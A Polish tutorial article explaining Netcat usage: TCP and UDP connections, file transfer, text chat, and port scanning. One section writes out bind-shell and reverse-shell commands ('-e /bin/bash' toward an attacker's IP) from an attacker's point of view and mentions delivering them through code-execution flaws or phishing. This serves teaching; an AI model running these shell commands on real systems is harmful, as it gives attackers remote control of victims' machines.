Netcat – czym jest i jak go używać

Netcat jest to uniwersalne narzędzie sieciowe, które powinno znaleźć się w arsenale każdego administratora, pentestera czy entuzjasty bezpieczeństwa. Umożliwia ustanawianie połączeń TCP oraz UDP, przesyłanie plików, skanowanie portów, a także testowanie połączeń. Netcat może pracować zarówno w trybie serwera jak i klienta. W artykule tym przyjrzymy się bliżej możliwościom i zastosowaniom Netcata.

Czym jest Netcat

Netcat to wszechstronne narzędzie sieciowe do testowania połączeń i komunikacji, a także prosty serwer. Netcat działa na systemach Linux, Windows oraz MacOS. Jest często nazywany „szwajcarskim scyzorykiem sieciowym” ze względu na możliwość wykonywania różnych zadań związanych z siecią. Netcat może być używany do zadań takich jak:

  • Ustanawianie połączeń TCP i UDP – Netcat pozwala na inicjowanie połączeń zdalnych oraz nasłuchiwanie na określonych portach, co umożliwia komunikację pomiędzy hostami.
  • Przesyłanie plików – Netcat może być używany do przesyłania plików pomiędzy hostami. Należy jednak zaznaczyć, że Netcat nie oferuje wbudowanego mechanizmu zabezpieczania przesyłanych danych, dlatego nie jest zalecany do bezpiecznego przesyłania plików.
  • Skanowanie portów – Netcat umożliwia szybkie sprawdzenie, które porty na docelowym urządzeniu są otwarte, co jest przydatne podczas testów penetracyjnych. Jednak nie jest to jego główna funkcja, dlatego do bardziej zaawansowanego skanowania lepiej używać Nmapa.
  • Tworzenie serwerów nasłuchujących – narzędzie może działać jako prosty serwer, który nasłuchuje na określonym porcie i obsługuje połączenia przychodzące. Warto dodać, że w tej roli Netcat może być używany do tworzenia prostych backdoorów, co bywa wykorzystywane zarówno w testach penetracyjnych, jak i przez atakujących.
  • Diagnostyka, debugowanie i testy penetracyjne – Netcat jest pomocny w diagnozowaniu problemów z połączeniami, w testowaniu konfiguracji sieciowej oraz w testach penetracyjnych.

Jak ustanowić połączenie za pomocą Netcat

Netcat umożliwia tworzenie połączeń TCP lub UDP między dwoma hostami, gdzie jeden działa jako serwer nasłuchujący, a drugi jako klient, który inicjuje połączenie.

Jak ustanowić połączenie TCP

Skonfiguruj serwer nasłuchujący:

Na komputerze, który będzie nasłuchiwał połączeń (serwer), uruchom Netcat w trybie nasłuchu na określonym porcie:

nc -l -p <numer portu>

gdzie:

  • -l – włącza tryb nasłuchu (listening).
  • -p <numer portu> – określa numer portu (np. 5555).

Połącz się z serwerem jako klient:

nc <adres IP serwera> <numer portu>

gdzie:

  • <adres IP serwera> – adres IP maszyny, na której uruchomiono Netcat w trybie nasłuchu.
  • <numer portu> – port, na którym nasłuchuje serwer.

Jak ustanowić połączenie UDP

Netcat obsługuje nie tylko połączenia TCP, ale także UDP. Oto, jak ustanowić komunikację UDP za pomocą Netcat.

Skonfiguruj serwer nasłuchujący:

nc -u -l -p <numer portu>

Polecenie jest prawie takie samo jak przy TCP. Trzeba tylko dodać flagę -u.

Połącz się z serwerem jako klient:

nc -u <adres IP serwera> <numer portu>

Transfer plików

Możemy używać Netcata do przesyłania danych pomiędzy hostami. W tym celu trzeba skonfigurować maszynę wysyłającą oraz odbierającą dane.

Na maszynie odbierającej dane wpisz poniższe polecenie:

nc -l -p <numer portu> > otrzymane_dane.txt

gdzie:

  • -l – włącza tryb nasłuchu (listening).
  • -p – określa numer portu (np. 5555).
  • > – przekierowuje odebrane dane do pliku otrzymane_dane.txt.

Na maszynie wysyłającej, wpisz poniższe polecenie:

nc <adres IP odbiorcy> <numer portu> < plik_do_wyslania.txt

gdzie:

  • <adres IP odbiorcy> – adres IP maszyny odbierającej plik.
  • <numer portu> – port, na którym nasłuchuje maszyna odbierająca.
  • < – wskazuje, że dane do przesłania znajdują się w pliku plik_do_wyslania.txt.

To polecenie nawiązuje połączenie z maszyną odbiorczą i wysyła plik plik_do_wyslania.txt.

Backdoor i zdalny dostęp

Netcat może być użyty do utworzenia backdoora, umożliwiającego atakującemu zdalny dostęp do systemu ofiary.

Na komputerze ofiary włącz tryb nasłuchu:

nc -lp 5555 -e /bin/bash

gdzie:

  • -l – włącza tryb nasłuchu (listening).
  • -p – określa numer portu (np. 5555).
  • -e /bin/bash – po nawiązaniu połączenia klient uzyska dostęp do powłoki Bash na maszynie, która uruchomiła Netcat.

Na komputerze atakującego wykonaj poniższe polecenie:

nc <adres IP ofiary> 5555
  • <adres IP ofiary> – adres IP maszyny nasłuchującej.
  • 5555 – numer portu na którym nasłuchuje komputer ofiary, w tym przypadku jest to port 5555.

Powyższe polecenie jest używane do nawiązania połączenia techniką bind shell. W przypadku bind shell, komputer ofiary uruchamia Netcat w trybie nasłuchu na określonym porcie (tutaj 5555) i czeka na połączenia przychodzące. Kiedy atakujący połączy się z tym portem, zyskuje dostęp do powłoki systemowej ofiary. Problemem jest to, że firewall może blokować połączenia przychodzące. Dlatego z punktu widzenia atakującego dużo lepszą techniką jest reverse shell.

Reverse shell działa inaczej. W tym przypadku to komputer ofiary inicjuje połączenie z komputerem atakującego. Ofiara uruchamia Netcat, który łączy się z adresem IP atakującego na określonym porcie (np. 5555), a atakujący otrzymuje dostęp do powłoki ofiary.

Na komputerze atakującego włącz tryb nasłuchiwania:

nc -lp 5555

Na komputerze ofiary wykonaj poniższe polecenie:

nc <adres IP atakującego> 5555 -e /bin/bash

Atakujący może wykonać reverse shell na systemie ofiary bez fizycznego dostępu, wykorzystując różne luki w zabezpieczeniach. Jednym ze sposobów jest wykorzystanie luk w aplikacjach internetowych, które pozwalają na zdalne wykonanie kodu. Jeśli aplikacja ma nieprawidłową kontrolę nad danymi wejściowymi, atakujący może wysłać złośliwy kod, który uruchomi reverse shell na serwerze ofiary. Kolejną metodą są ataki phishingowe, gdzie atakujący wysyła e-maile lub tworzy fałszywe strony internetowe, które mają na celu skłonienie użytkownika do kliknięcia w złośliwy link lub pobrania załącznika zawierającego złośliwy kod. Atakujący może też manipulować ofiarą w taki sposób, by ta sama uruchomiła złośliwy kod.

Chatowanie za pomocą Netcata

Netcat umożliwia prowadzenie prostych rozmów tekstowych (chatów) w czasie rzeczywistym pomiędzy dwoma komputerami w tej samej sieci lub na odległych maszynach. Proces ten polega na skonfigurowaniu jednego komputera jako serwera nasłuchującego, a drugiego jako klienta, który się z nim łączy.

Warto pamiętać o tym, że rozmowy przez Netcat są przesyłane w formie zwykłego tekstu i nie są domyślnie szyfrowane, przez co dane mogą zostać przechwycone.

Poniżej przykład wysyłanych wiadomości pomiędzy dwiema maszynami w sieci lokalnej, które są uruchomione na VMware.

Włączam serwer nasłuchujący na maszynie o IP 192.168.128.131 na porcie 5555:

Netcat co to jest

Na drugiej maszynie nawiązuję połączenie z serwerem nasłuchującym:

Netcat serwer nasłuchujący

Teraz mogę wysłać wiadomość tekstową:

Netcat jak hackować

Wiadomość pokazała się na serwerze nasłuchującym. Wysyłam odpowiedź:

Netcat transfer plików

Odpowiedź pojawiła się na drugiej maszynie:

Netcat co to jest

Skanowanie portów za pomocą Netcata

Netcat, pomimo że nie jest specjalistycznym narzędziem do skanowania portów, może być używany do tego celu.

Poniżej polecenie wykonujące skanowanie portów:

nc -v -n <adres IP> 1-100
  • -v – tryb szczegółowy, wyświetla więcej informacji o połączeniach.
  • -n – wymusza używanie bezpośrednich adresów IP zamiast nazw domenowych. Netcat nie będzie próbował rozwiązywać adresu IP na nazwę hosta.
  • <adres IP> – określa adres IP zdalnego hosta, który jest sprawdzany pod kątem otwartych portów.
  • 1-100 – określa zakres portów, które mają zostać zeskanowane. W powyższym przypadku Netcat będzie sprawdzać porty od 1 do 100.

Podsumowanie

Największą zaletą Netcata jest możliwość obsługi zarówno protokołów TCP jak i UDP, co czyni go niezwykle elastycznym narzędziem do różnych zadań sieciowych. Netcat jest bardzo prosty w obsłudze i można go szybko uruchomić. Dodatkowo, możliwość tworzenia prostych serwerów sprawia, że narzędzie to znajduje zastosowanie w testach penetracyjnych i diagnozowaniu problemów z siecią.

Jednakże Netcat nie jest pozbawiony wad. Brak natywnego szyfrowania komunikacji sprawia, że dane przesyłane za jego pomocą są podatne na podsłuch, co może stanowić poważne zagrożenie w kontekście bezpieczeństwa. Choć istnieją modyfikacje Netcata, które dodają szyfrowanie, nie są one w standardzie.

Podziel się swoją opinią
Subskrybuj
Powiadom o
guest
0 komentarzy
najstarszy
najnowszy oceniany
Inline Feedbacks
View all comments

    Pakiet na sklep PREMIUM

      Pakiet na sklep BASIC

        Strona internetowa pakiet BUSINESS

          Strona internetowa pakiet PREMIUM

            Strona internetowa pakiet BASIC

                Pakiet na opiekę przez miesiąc

                  Pakiet na opiekę przez 3 miesiące

                    Pakiet na opiekę przez 6 miesięcy